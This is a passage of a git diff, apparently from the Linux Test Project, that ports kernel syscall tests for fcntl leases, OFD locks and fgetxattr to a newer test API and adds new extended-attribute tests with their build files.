-static void do_test(int i)
+static void do_test(unsigned int i)
 {
-	fd = SAFE_OPEN(cleanup, "file", O_RDONLY);
+	pid_t cpid;
 
-	pid_t cpid = tst_fork();
-
-	if (cpid < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "fork() failed");
-
+	cpid = SAFE_FORK();
 	if (cpid == 0) {
-		SAFE_CLOSE(NULL, fd);
 		do_child(i);
+		return;
 	}
 
+	fd = SAFE_OPEN("file", O_RDONLY);
+
 	TEST(fcntl(fd, F_SETLEASE, test_cases[i].lease_type));
-	if (TEST_RETURN == -1) {
-		tst_resm(TFAIL | TTERRNO, "fcntl() failed to set lease");
-		SAFE_WAITPID(cleanup, cpid, NULL, 0);
-		SAFE_CLOSE(cleanup, fd);
-		fd = 0;
-		return;
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO, "fcntl() failed to set lease");
+		goto exit;
 	}
 
 	/* Wait for SIGIO caused by lease breaker. */
 	TEST(sigtimedwait(&newset, NULL, &timeout));
-	if (TEST_RETURN == -1) {
-		if (TEST_ERRNO == EAGAIN) {
-			tst_resm(TFAIL | TTERRNO, "failed to receive SIGIO "
-				 "within %lis", timeout.tv_sec);
-			SAFE_WAITPID(cleanup, cpid, NULL, 0);
-			SAFE_CLOSE(cleanup, fd);
-			fd = 0;
-			return;
+	if (TST_RET == -1) {
+		if (TST_ERR == EAGAIN) {
+			tst_res(TFAIL | TTERRNO,
+				"failed to receive SIGIO within %lis",
+				timeout.tv_sec);
+			goto exit;
 		}
-		tst_brkm(TBROK | TTERRNO, cleanup, "sigtimedwait() failed");
+		tst_brk(TBROK | TTERRNO, "sigtimedwait() failed");
 	}
 
 	/* Try to downgrade or remove the lease. */
 	switch (test_cases[i].lease_type) {
 	case F_WRLCK:
 		TEST(fcntl(fd, F_SETLEASE, F_RDLCK));
-		if (TEST_RETURN == 0)
-			break;
+		if (TST_RET == 0) {
+			if (test_cases[i].op_type == OP_OPEN_RDONLY)
+				break;
+
+			tst_res(TFAIL,
+				"fcntl() downgraded lease when not read-only");
+		}
+
+		if (test_cases[i].op_type == OP_OPEN_RDONLY) {
+			tst_res(TFAIL | TTERRNO,
+				"fcntl() failed to downgrade lease");
+		}
+
+		/* Falls through */
 	case F_RDLCK:
 		TEST(fcntl(fd, F_SETLEASE, F_UNLCK));
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO,
+		if (TST_RET == -1) {
+			tst_res(TFAIL | TTERRNO,
 				 "fcntl() failed to remove the lease");
 		}
 		break;
@@ -198,35 +160,31 @@
 		break;
 	}
 
-	tst_record_childstatus(cleanup, cpid);
-
-	SAFE_CLOSE(cleanup, fd);
-	fd = 0;
+exit:
+	tst_reap_children();
+	SAFE_CLOSE(fd);
 }
 
-static int do_child(int i)
+static void do_child(unsigned int i)
 {
 	long long elapsed_ms;
 
-	if (tst_process_state_wait2(getppid(), 'S') != 0) {
-		tst_brkm(TBROK | TERRNO, NULL,
-			 "failed to wait for parent process's state");
-	}
+	TST_PROCESS_STATE_WAIT(getppid(), 'S');
 
 	tst_timer_start(CLOCK_MONOTONIC);
 
 	switch (test_cases[i].op_type) {
 	case OP_OPEN_RDONLY:
-		SAFE_OPEN(NULL, "file", O_RDONLY);
+		SAFE_OPEN("file", O_RDONLY);
 		break;
 	case OP_OPEN_WRONLY:
-		SAFE_OPEN(NULL, "file", O_WRONLY);
+		SAFE_OPEN("file", O_WRONLY);
 		break;
 	case OP_OPEN_RDWR:
-		SAFE_OPEN(NULL, "file", O_RDWR);
+		SAFE_OPEN("file", O_RDWR);
 		break;
 	case OP_TRUNCATE:
-		SAFE_TRUNCATE(NULL, "file", 0);
+		SAFE_TRUNCATE("file", 0);
 		break;
 	default:
 		break;
@@ -237,27 +195,33 @@
 	elapsed_ms = tst_timer_elapsed_ms();
 
 	if (elapsed_ms < MIN_TIME_LIMIT * 1000) {
-		tst_resm(TPASS, "%s, unblocked within %ds",
+		tst_res(TPASS, "%s, unblocked within %ds",
 			 test_cases[i].desc, MIN_TIME_LIMIT);
 	} else {
-		tst_resm(TFAIL, "%s, blocked too long %llims, "
-			 "expected within %ds",
-			 test_cases[i].desc, elapsed_ms, MIN_TIME_LIMIT);
+		tst_res(TFAIL,
+			"%s, blocked too long %llims, expected within %ds",
+			test_cases[i].desc, elapsed_ms, MIN_TIME_LIMIT);
 	}
-
-	tst_exit();
 }
 
 static void cleanup(void)
 {
 	if (sigprocmask(SIG_SETMASK, &oldset, NULL) < 0)
-		tst_resm(TWARN | TERRNO, "sigprocmask restore oldset failed");
+		tst_res(TWARN | TERRNO, "sigprocmask restore oldset failed");
 
-	if (fd > 0 && close(fd))
-		tst_resm(TWARN | TERRNO, "failed to close file");
-
-	tst_rmdir();
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 
 	/* Restore the lease-break-time. */
 	FILE_PRINTF(PATH_LS_BRK_T, "%d", ls_brk_t);
 }
+
+static struct tst_test test = {
+	.forks_child = 1,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.tcnt = ARRAY_SIZE(test_cases),
+	.setup = setup,
+	.test = do_test,
+	.cleanup = cleanup
+};
diff --git a/testcases/kernel/syscalls/fcntl/fcntl34.c b/testcases/kernel/syscalls/fcntl/fcntl34.c
index aa29cf9..6c7dd8c 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl34.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl34.c
@@ -28,6 +28,7 @@
 #include "lapi/fcntl.h"
 #include "tst_safe_pthread.h"
 #include "tst_test.h"
+#include "fcntl_common.h"
 
 static int thread_cnt;
 static const int max_thread_cnt = 32;
@@ -76,13 +77,13 @@
 
 	for (i = 0; i < writes_num; ++i) {
 		lck.l_type = F_WRLCK;
-		SAFE_FCNTL(fd, F_OFD_SETLKW, &lck);
+		my_fcntl(fd, F_OFD_SETLKW, &lck);
 
 		SAFE_LSEEK(fd, 0, SEEK_END);
 		SAFE_WRITE(1, fd, buf, write_size);
 
 		lck.l_type = F_UNLCK;
-		SAFE_FCNTL(fd, F_OFD_SETLKW, &lck);
+		my_fcntl(fd, F_OFD_SETLKW, &lck);
 
 		sched_yield();
 	}
diff --git a/testcases/kernel/syscalls/fcntl/fcntl36.c b/testcases/kernel/syscalls/fcntl/fcntl36.c
index 3246d13..2942e4e 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl36.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl36.c
@@ -57,6 +57,7 @@
 #include "lapi/fcntl.h"
 #include "tst_safe_pthread.h"
 #include "tst_test.h"
+#include "fcntl_common.h"
 
 static int thread_cnt;
 static int fail_flag = 0;
@@ -99,13 +100,13 @@
 		memset(buf, wt, pa->length);
 
 		lck.l_type = F_WRLCK;
-		SAFE_FCNTL(fd, F_OFD_SETLKW, &lck);
+		my_fcntl(fd, F_OFD_SETLKW, &lck);
 
 		SAFE_LSEEK(fd, pa->offset, SEEK_SET);
 		SAFE_WRITE(1, fd, buf, pa->length);
 
 		lck.l_type = F_UNLCK;
-		SAFE_FCNTL(fd, F_OFD_SETLKW, &lck);
+		my_fcntl(fd, F_OFD_SETLKW, &lck);
 
 		wt++;
 		if (wt >= 255)
@@ -127,7 +128,7 @@
 	int fd = SAFE_OPEN(fname, O_RDWR);
 	long wt = pa->cnt;
 
-	struct flock64 lck = {
+	struct flock lck = {
 		.l_whence = SEEK_SET,
 		.l_start  = pa->offset,
 		.l_len    = pa->length,
@@ -178,7 +179,7 @@
 		memset(buf, 0, pa->length);
 
 		lck.l_type = F_RDLCK;
-		SAFE_FCNTL(fd, F_OFD_SETLKW, &lck);
+		my_fcntl(fd, F_OFD_SETLKW, &lck);
 
 		/* rlock acquired */
 		SAFE_LSEEK(fd, pa->offset, SEEK_SET);
@@ -209,7 +210,7 @@
 		}
 
 		lck.l_type = F_UNLCK;
-		SAFE_FCNTL(fd, F_OFD_SETLK, &lck);
+		my_fcntl(fd, F_OFD_SETLK, &lck);
 
 		sched_yield();
 	}
@@ -227,7 +228,7 @@
 	int i;
 	int fd = SAFE_OPEN(fname, O_RDWR);
 
-	struct flock64 lck = {
+	struct flock lck = {
 		.l_whence = SEEK_SET,
 		.l_start  = pa->offset,
 		.l_len    = pa->length,
diff --git a/testcases/kernel/syscalls/fcntl/fcntl_common.h b/testcases/kernel/syscalls/fcntl/fcntl_common.h
new file mode 100644
index 0000000..07229a0
--- /dev/null
+++ b/testcases/kernel/syscalls/fcntl/fcntl_common.h
@@ -0,0 +1,32 @@
+#include "lapi/syscalls.h"
+
+/*
+ * glibc commit:
+ *   06ab719d30b0 ("Fix Linux fcntl OFD locks for non-LFS architectures (BZ#20251)")
+ * changed behavior of arg parameter for OFD commands. It is no
+ * longer passing arg directly to syscall, but expects it to be
+ * 'struct flock'.
+ *
+ * On 64-bit or _FILE_OFFSET_BITS == 64 we can use fcntl() and
+ * struct flock64 with any glibc version. struct flock and flock64
+ * should be identical.
+ *
+ * On 32-bit, older glibc would pass arg directly, recent one treats
+ * it as 'struct flock' and converts it to 'struct flock64'.
+ * So, to support both version, on 32-bit we use fcntl64 syscall
+ * directly with struct flock64.
+ */
+#if __WORDSIZE == 64 || _FILE_OFFSET_BITS == 64
+static int my_fcntl(int fd, int cmd, void *lck)
+{
+	return SAFE_FCNTL(fd, cmd, lck);
+}
+#else
+static int my_fcntl(int fd, int cmd, void *lck)
+{
+	int ret = tst_syscall(__NR_fcntl64, fd, cmd, lck);
+	if (ret == -1)
+		tst_brk(TBROK|TERRNO, "fcntl64");
+	return ret;
+}
+#endif
diff --git a/testcases/kernel/syscalls/fdatasync/.gitignore b/testcases/kernel/syscalls/fdatasync/.gitignore
new file mode 100644
index 0000000..d1d3cba
--- /dev/null
+++ b/testcases/kernel/syscalls/fdatasync/.gitignore
@@ -0,0 +1,2 @@
+/fdatasync01
+/fdatasync02
diff --git a/testcases/kernel/syscalls/fgetxattr/.gitignore b/testcases/kernel/syscalls/fgetxattr/.gitignore
new file mode 100644
index 0000000..f8594dd
--- /dev/null
+++ b/testcases/kernel/syscalls/fgetxattr/.gitignore
@@ -0,0 +1,3 @@
+/fgetxattr01
+/fgetxattr02
+/fgetxattr03
diff --git a/testcases/kernel/syscalls/fgetxattr/Makefile b/testcases/kernel/syscalls/fgetxattr/Makefile
new file mode 100644
index 0000000..f71e4fc
--- /dev/null
+++ b/testcases/kernel/syscalls/fgetxattr/Makefile
@@ -0,0 +1,8 @@
+# Copyright (c) 2018 - Linaro Limited. All rights reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
\ No newline at end of file
diff --git a/testcases/kernel/syscalls/fgetxattr/fgetxattr01.c b/testcases/kernel/syscalls/fgetxattr/fgetxattr01.c
new file mode 100644
index 0000000..227e090
--- /dev/null
+++ b/testcases/kernel/syscalls/fgetxattr/fgetxattr01.c
@@ -0,0 +1,150 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Linaro Limited. All rights reserved.
+ * Author: Rafael David Tinoco <rafael.tinoco@linaro.org>
+ */
+
+/*
+ * Basic tests for fgetxattr(2) and make sure fgetxattr(2) handles error
+ * conditions correctly.
+ *
+ * There are 3 test cases:
+ * 1. Get an non-existing attribute:
+ *     - fgetxattr(2) should return -1 and set errno to ENODATA
+ * 2. Buffer size is smaller than attribute value size:
+ *     - fgetxattr(2) should return -1 and set errno to ERANGE
+ * 3. Get attribute, fgetxattr(2) should succeed:
+ *     - verify the attribute got by fgetxattr(2) is same as the value we set
+ */
+
+#include "config.h"
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+#define XATTR_SIZE_MAX 65536
+#define XATTR_TEST_KEY "user.testkey"
+#define XATTR_TEST_VALUE "this is a test value"
+#define XATTR_TEST_VALUE_SIZE 20
+#define XATTR_TEST_INVALID_KEY "user.nosuchkey"
+#define MNTPOINT "mntpoint"
+#define FNAME MNTPOINT"/fgetxattr01testfile"
+
+static int fd = -1;
+
+struct test_case {
+	char *key;
+	char *value;
+	size_t size;
+	int exp_ret;
+	int exp_err;
+};
+struct test_case tc[] = {
+	{			/* case 00, get non-existing attribute */
+	 .key = XATTR_TEST_INVALID_KEY,
+	 .value = NULL,
+	 .size = XATTR_SIZE_MAX,
+	 .exp_ret = -1,
+	 .exp_err = ENODATA,
+	 },
+	{			/* case 01, small value buffer */
+	 .key = XATTR_TEST_KEY,
+	 .value = NULL,
+	 .size = 1,
+	 .exp_ret = -1,
+	 .exp_err = ERANGE,
+	 },
+	{			/* case 02, get existing attribute */
+	 .key = XATTR_TEST_KEY,
+	 .value = NULL,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .exp_ret = XATTR_TEST_VALUE_SIZE,
+	 .exp_err = 0,
+	 },
+};
+
+static void verify_fgetxattr(unsigned int i)
+{
+	TEST(fgetxattr(fd, tc[i].key, tc[i].value, tc[i].size));
+
+	if (TST_RET == -1 && TST_ERR == EOPNOTSUPP)
+		tst_brk(TCONF, "fgetxattr(2) not supported");
+
+	if (TST_RET >= 0) {
+
+		if (tc[i].exp_ret == TST_RET)
+			tst_res(TPASS, "fgetxattr(2) passed");
+		else
+			tst_res(TFAIL, "fgetxattr(2) passed unexpectedly");
+
+		if (strncmp(tc[i].value, XATTR_TEST_VALUE,
+				XATTR_TEST_VALUE_SIZE)) {
+			tst_res(TFAIL, "wrong value, expect \"%s\" got \"%s\"",
+					 XATTR_TEST_VALUE, tc[i].value);
+		}
+
+		tst_res(TPASS, "got the right value");
+	}
+
+	if (tc[i].exp_err == TST_ERR) {
+		tst_res(TPASS | TTERRNO, "fgetxattr(2) passed");
+		return;
+	}
+
+	tst_res(TFAIL | TTERRNO, "fgetxattr(2) failed");
+}
+
+static void setup(void)
+{
+	size_t i = 0;
+
+	SAFE_TOUCH(FNAME, 0644, NULL);
+	fd = SAFE_OPEN(FNAME, O_RDONLY, NULL);
+
+	for (i = 0; i < ARRAY_SIZE(tc); i++) {
+		tc[i].value = SAFE_MALLOC(tc[i].size);
+		memset(tc[i].value, 0, tc[i].size);
+	}
+
+	SAFE_FSETXATTR(fd, XATTR_TEST_KEY, XATTR_TEST_VALUE,
+			XATTR_TEST_VALUE_SIZE, XATTR_CREATE);
+}
+
+static void cleanup(void)
+{
+	size_t i = 0;
+
+	for (i = 0; i < ARRAY_SIZE(tc); i++)
+		free(tc[i].value);
+
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test = verify_fgetxattr,
+	.cleanup = cleanup,
+	.tcnt = ARRAY_SIZE(tc),
+	.mntpoint = MNTPOINT,
+	.mount_device = 1,
+	.all_filesystems = 1,
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+};
+
+#else /* HAVE_SYS_XATTR_H */
+TST_TEST_TCONF("<sys/xattr.h> does not exist");
+#endif
diff --git a/testcases/kernel/syscalls/fgetxattr/fgetxattr02.c b/testcases/kernel/syscalls/fgetxattr/fgetxattr02.c
new file mode 100644
index 0000000..02e8181
--- /dev/null
+++ b/testcases/kernel/syscalls/fgetxattr/fgetxattr02.c
@@ -0,0 +1,280 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Linaro Limited. All rights reserved.
+ * Author: Rafael David Tinoco <rafael.tinoco@linaro.org>
+ */
+
+/*
+ * In the user.* namespace, only regular files and directories can
+ * have extended attributes. Otherwise fgetxattr(2) will return -1
+ * and set proper errno.
+ *
+ * There are 7 test cases:
+ *
+ * 1. Get attribute from a regular file:
+ *    - fgetxattr(2) should succeed
+ *    - checks returned value to be the same as we set
+ * 2. Get attribute from a directory:
+ *    - fgetxattr(2) should succeed
+ *    - checks returned value to be the same as we set
+ * 3. Get attribute from a symlink which points to the regular file:
+ *    - fgetxattr(2) should succeed
+ *    - checks returned value to be the same as we set
+ * 4. Get attribute from a FIFO:
+ *    - fgetxattr(2) should return -1 and set errno to ENODATA
+ * 5. Get attribute from a char special file:
+ *    - fgetxattr(2) should return -1 and set errno to ENODATA
+ * 6. Get attribute from a block special file:
+ *    - fgetxattr(2) should return -1 and set errno to ENODATA
+ * 7. Get attribute from a UNIX domain socket:
+ *    - fgetxattr(2) should return -1 and set errno to ENODATA
+ */
+
+#include "config.h"
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/sysmacros.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/socket.h>
+#include <sys/un.h>
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+#define XATTR_TEST_KEY "user.testkey"
+#define XATTR_TEST_VALUE "this is a test value"
+#define XATTR_TEST_VALUE_SIZE 20
+
+#define MNTPOINT "mntpoint"
+#define OFFSET    11
+#define FILENAME "fgetxattr02testfile"
+#define DIRNAME  "fgetxattr02testdir"
+#define SYMLINK  "fgetxattr02symlink"
+#define SYMLINKF "fgetxattr02symlinkfile"
+#define FIFO     MNTPOINT"/fgetxattr02fifo"
+#define CHR      MNTPOINT"/fgetxattr02chr"
+#define BLK      MNTPOINT"/fgetxattr02blk"
+#define SOCK     "fgetxattr02sock"
+
+struct test_case {
+	char *fname;
+	int fd;
+	int fflags;
+	char *key;
+	char *value;
+	size_t size;
+	char *ret_value;
+	int flags;
+	int exp_err;
+	int exp_ret;
+	int issocket;
+};
+static struct test_case tc[] = {
+	{			/* case 00, get attr from reg */
+	 .fname = FILENAME,
+	 .fflags = O_RDONLY,
+	 .key = XATTR_TEST_KEY,
+	 .value = XATTR_TEST_VALUE,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .ret_value = NULL,
+	 .flags = XATTR_CREATE,
+	 .exp_err = 0,
+	 .exp_ret = XATTR_TEST_VALUE_SIZE,
+	 },
+	{			/* case 01, get attr from dir */
+	 .fname = DIRNAME,
+	 .fflags = O_RDONLY,
+	 .key = XATTR_TEST_KEY,
+	 .value = XATTR_TEST_VALUE,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .ret_value = NULL,
+	 .flags = XATTR_CREATE,
+	 .exp_err = 0,
+	 .exp_ret = XATTR_TEST_VALUE_SIZE,
+	 },
+	{			/* case 02, get attr from symlink */
+	 .fname = SYMLINK,
+	 .fflags = O_RDONLY,
+	 .key = XATTR_TEST_KEY,
+	 .value = XATTR_TEST_VALUE,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .ret_value = NULL,
+	 .flags = XATTR_CREATE,
+	 .exp_err = 0,
+	 .exp_ret = XATTR_TEST_VALUE_SIZE,
+	 },
+	{			/* case 03, get attr from fifo */
+	 .fname = FIFO,
+	 .fflags = (O_RDONLY | O_NONBLOCK),
+	 .key = XATTR_TEST_KEY,
+	 .value = XATTR_TEST_VALUE,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_CREATE,
+	 .exp_err = ENODATA,
+	 .exp_ret = -1,
+	 },
+	{			/* case 04, get attr from character special */
+	 .fname = CHR,
+	 .fflags = O_RDONLY,
+	 .key = XATTR_TEST_KEY,
+	 .value = XATTR_TEST_VALUE,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .ret_value = NULL,
+	 .flags = XATTR_CREATE,
+	 .exp_err = ENODATA,
+	 .exp_ret = -1,
+	 },
+	{			/* case 05, get attr from block special */
+	 .fname = BLK,
+	 .fflags = O_RDONLY,
+	 .key = XATTR_TEST_KEY,
+	 .value = XATTR_TEST_VALUE,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .ret_value = NULL,
+	 .flags = XATTR_CREATE,
+	 .exp_err = ENODATA,
+	 .exp_ret = -1,
+	 },
+	{			/* case 06, get attr from socket */
+	 .fname = SOCK,
+	 .fflags = O_RDONLY,
+	 .key = XATTR_TEST_KEY,
+	 .value = XATTR_TEST_VALUE,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .ret_value = NULL,
+	 .flags = XATTR_CREATE,
+	 .exp_err = ENODATA,
+	 .exp_ret = -1,
+	 .issocket = 1,
+	 },
+};
+
+static void verify_fgetxattr(unsigned int i)
+{
+	const char *fname = strstr(tc[i].fname, "fgetxattr02") + OFFSET;
+
+	TEST(fgetxattr(tc[i].fd, tc[i].key, tc[i].ret_value, tc[i].size));
+
+	if (TST_RET == -1 && TST_ERR == EOPNOTSUPP)
+		tst_brk(TCONF, "fgetxattr(2) not supported");
+
+	if (TST_RET >= 0) {
+
+		if (tc[i].exp_ret == TST_RET) {
+			tst_res(TPASS, "fgetxattr(2) on %s passed",
+					fname);
+		} else {
+			tst_res(TFAIL,
+				"fgetxattr(2) on %s passed unexpectedly %ld",
+				fname, TST_RET);
+		}
+
+		if (strncmp(tc[i].ret_value, XATTR_TEST_VALUE,
+				XATTR_TEST_VALUE_SIZE)) {
+			tst_res(TFAIL, "wrong value, expect \"%s\" got \"%s\"",
+					 XATTR_TEST_VALUE, tc[i].ret_value);
+		}
+
+		tst_res(TPASS, "fgetxattr(2) on %s got the right value",
+				fname);
+	}
+
+	/*
+	 * Before kernel 3.0.0, fgetxattr(2) will set errno with 'EPERM'
+	 * when the file is not a regular file and directory, refer to
+	 * commitid 55b23bd
+	 */
+	if (tc[i].exp_err == ENODATA && tst_kvercmp(3, 0, 0) < 0)
+		tc[i].exp_err = EPERM;
+
+	if (tc[i].exp_err == TST_ERR) {
+		tst_res(TPASS | TTERRNO, "fgetxattr(2) on %s passed",
+				fname);
+		return;
+	}
+
+	tst_res(TFAIL | TTERRNO, "fgetxattr(2) failed on %s", fname);
+}
+
+static void setup(void)
+{
+	size_t i = 0;
+	struct sockaddr_un sun;
+
+	dev_t dev = makedev(1, 3);
+
+	SAFE_TOUCH(FILENAME, 0644, NULL);
+	SAFE_TOUCH(SYMLINKF, 0644, NULL);
+	SAFE_MKDIR(DIRNAME, 0644);
+	SAFE_SYMLINK(SYMLINKF, SYMLINK);
+
+	/* root: mknod(2) needs it to create something other than a file */
+	SAFE_MKNOD(FIFO, S_IFIFO | 0777, 0);
+	SAFE_MKNOD(CHR, S_IFCHR | 0777, dev);
+	SAFE_MKNOD(BLK, S_IFBLK | 0777, dev);
+
+	for (i = 0; i < ARRAY_SIZE(tc); i++) {
+
+		tc[i].ret_value = SAFE_MALLOC(tc[i].size);
+		memset(tc[i].ret_value, 0, tc[i].size);
+
+		if (tc[i].issocket) {
+			/* differently than getxattr(2) calls, when dealing with
+			 * sockets, mknod(2) isn't enough to test fgetxattr(2).
+			 * we have to get a real unix socket in order for
+			 * open(2) to get a file desc.
+			 */
+			tc[i].fd = SAFE_SOCKET(AF_UNIX, SOCK_STREAM, 0);
+
+			memset(&sun, 0, sizeof(struct sockaddr_un));
+			sun.sun_family = AF_UNIX;
+			strncpy(sun.sun_path, tc[i].fname,
+					sizeof(sun.sun_path) - 1);
+
+			SAFE_BIND(tc[i].fd, (const struct sockaddr *) &sun,
+					sizeof(struct sockaddr_un));
+		} else {
+			tc[i].fd = SAFE_OPEN(tc[i].fname, tc[i].fflags, NULL);
+		}
+
+		if (tc[i].exp_ret >= 0) {
+			SAFE_FSETXATTR(tc[i].fd, tc[i].key, tc[i].value,
+					tc[i].size, tc[i].flags);
+		}
+	}
+}
+
+static void cleanup(void)
+{
+	size_t i = 0;
+
+	for (i = 0; i < ARRAY_SIZE(tc); i++) {
+		free(tc[i].ret_value);
+
+		if (tc[i].fd > 0)
+			SAFE_CLOSE(tc[i].fd);
+	}
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test = verify_fgetxattr,
+	.cleanup = cleanup,
+	.tcnt = ARRAY_SIZE(tc),
+	.needs_devfs = 1,
+	.mntpoint = MNTPOINT,
+	.needs_root = 1,
+};
+
+#else /* HAVE_SYS_XATTR_H */
+TST_TEST_TCONF("<sys/xattr.h> does not exist");
+#endif
diff --git a/testcases/kernel/syscalls/fgetxattr/fgetxattr03.c b/testcases/kernel/syscalls/fgetxattr/fgetxattr03.c
new file mode 100644
index 0000000..d293ffc
--- /dev/null
+++ b/testcases/kernel/syscalls/fgetxattr/fgetxattr03.c
@@ -0,0 +1,73 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 Linaro Limited. All rights reserved.
+ * Author: Rafael David Tinoco <rafael.tinoco@linaro.org>
+ */
+
+/*
+ * An empty buffer of size zero can be passed into fgetxattr(2) to return
+ * the current size of the named extended attribute.
+ */
+
+#include "config.h"
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
+#endif
+#include "tst_test.h"
+
+#ifdef HAVE_SYS_XATTR_H
+#define XATTR_TEST_KEY "user.testkey"
+#define XATTR_TEST_VALUE "this is a test value"
+#define XATTR_TEST_VALUE_SIZE 20
+#define FILENAME "fgetxattr03testfile"
+
+static int fd = -1;
+
+static void verify_fgetxattr(void)
+{
+	TEST(fgetxattr(fd, XATTR_TEST_KEY, NULL, 0));
+
+	if (TST_RET == XATTR_TEST_VALUE_SIZE) {
+		tst_res(TPASS, "fgetxattr(2) returned correct value");
+		return;
+	}
+
+	tst_res(TFAIL | TTERRNO, "fgetxattr(2) failed with %li", TST_RET);
+}
+
+static void setup(void)
+{
+	SAFE_TOUCH(FILENAME, 0644, NULL);
+	fd = SAFE_OPEN(FILENAME, O_RDONLY, NULL);
+
+	SAFE_FSETXATTR(fd, XATTR_TEST_KEY, XATTR_TEST_VALUE,
+			XATTR_TEST_VALUE_SIZE, XATTR_CREATE);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = verify_fgetxattr,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+};
+
+#else /* HAVE_SYS_XATTR_H */
+TST_TEST_TCONF("<sys/xattr.h> does not exist");
+#endif
+
diff --git a/testcases/kernel/syscalls/flistxattr/.gitignore b/testcases/kernel/syscalls/flistxattr/.gitignore
new file mode 100644
index 0000000..52ed638
--- /dev/null
+++ b/testcases/kernel/syscalls/flistxattr/.gitignore
@@ -0,0 +1,3 @@
+/flistxattr01
+/flistxattr02
+/flistxattr03
diff --git a/testcases/kernel/syscalls/flistxattr/flistxattr01.c b/testcases/kernel/syscalls/flistxattr/flistxattr01.c
index b287aab..278616e 100644
--- a/testcases/kernel/syscalls/flistxattr/flistxattr01.c
+++ b/testcases/kernel/syscalls/flistxattr/flistxattr01.c
@@ -62,7 +62,7 @@
 	char buf[64];
 
 	TEST(flistxattr(fd, buf, sizeof(buf)));
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "flistxattr() failed");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/flistxattr/flistxattr02.c b/testcases/kernel/syscalls/flistxattr/flistxattr02.c
index 9f85ee5..0b81b51 100644
--- a/testcases/kernel/syscalls/flistxattr/flistxattr02.c
+++ b/testcases/kernel/syscalls/flistxattr/flistxattr02.c
@@ -61,14 +61,14 @@
 	char buf[t->size];
 
 	TEST(flistxattr(*t->fd, buf, t->size));
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL,
 			"flistxattr() succeeded unexpectedly (returned %ld)",
-			TEST_RETURN);
+			TST_RET);
 		return;
 	}
 
-	if (t->exp_err != TEST_ERRNO) {
+	if (t->exp_err != TST_ERR) {
 		tst_res(TFAIL | TTERRNO, "flistxattr() failed "
 			 "unexpectedlly, expected %s",
 			 tst_strerrno(t->exp_err));
diff --git a/testcases/kernel/syscalls/flistxattr/flistxattr03.c b/testcases/kernel/syscalls/flistxattr/flistxattr03.c
index 14b68d4..b9f75a8 100644
--- a/testcases/kernel/syscalls/flistxattr/flistxattr03.c
+++ b/testcases/kernel/syscalls/flistxattr/flistxattr03.c
@@ -56,12 +56,12 @@
 static void verify_flistxattr(unsigned int n)
 {
 	TEST(flistxattr(fd[n], NULL, 0));
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "flistxattr() failed");
 		return;
 	}
 
-	if (check_suitable_buf(fd[n], TEST_RETURN))
+	if (check_suitable_buf(fd[n], TST_RET))
 		tst_res(TPASS, "flistxattr() succeed with suitable buffer");
 	else
 		tst_res(TFAIL, "flistxattr() failed with small buffer");
diff --git a/testcases/kernel/syscalls/flock/.gitignore b/testcases/kernel/syscalls/flock/.gitignore
new file mode 100644
index 0000000..c8cb0fc
--- /dev/null
+++ b/testcases/kernel/syscalls/flock/.gitignore
@@ -0,0 +1,5 @@
+/flock01
+/flock02
+/flock03
+/flock04
+/flock06
diff --git a/testcases/kernel/syscalls/flock/flock01.c b/testcases/kernel/syscalls/flock/flock01.c
index a4133f1..6b651c9 100644
--- a/testcases/kernel/syscalls/flock/flock01.c
+++ b/testcases/kernel/syscalls/flock/flock01.c
@@ -1,172 +1,56 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
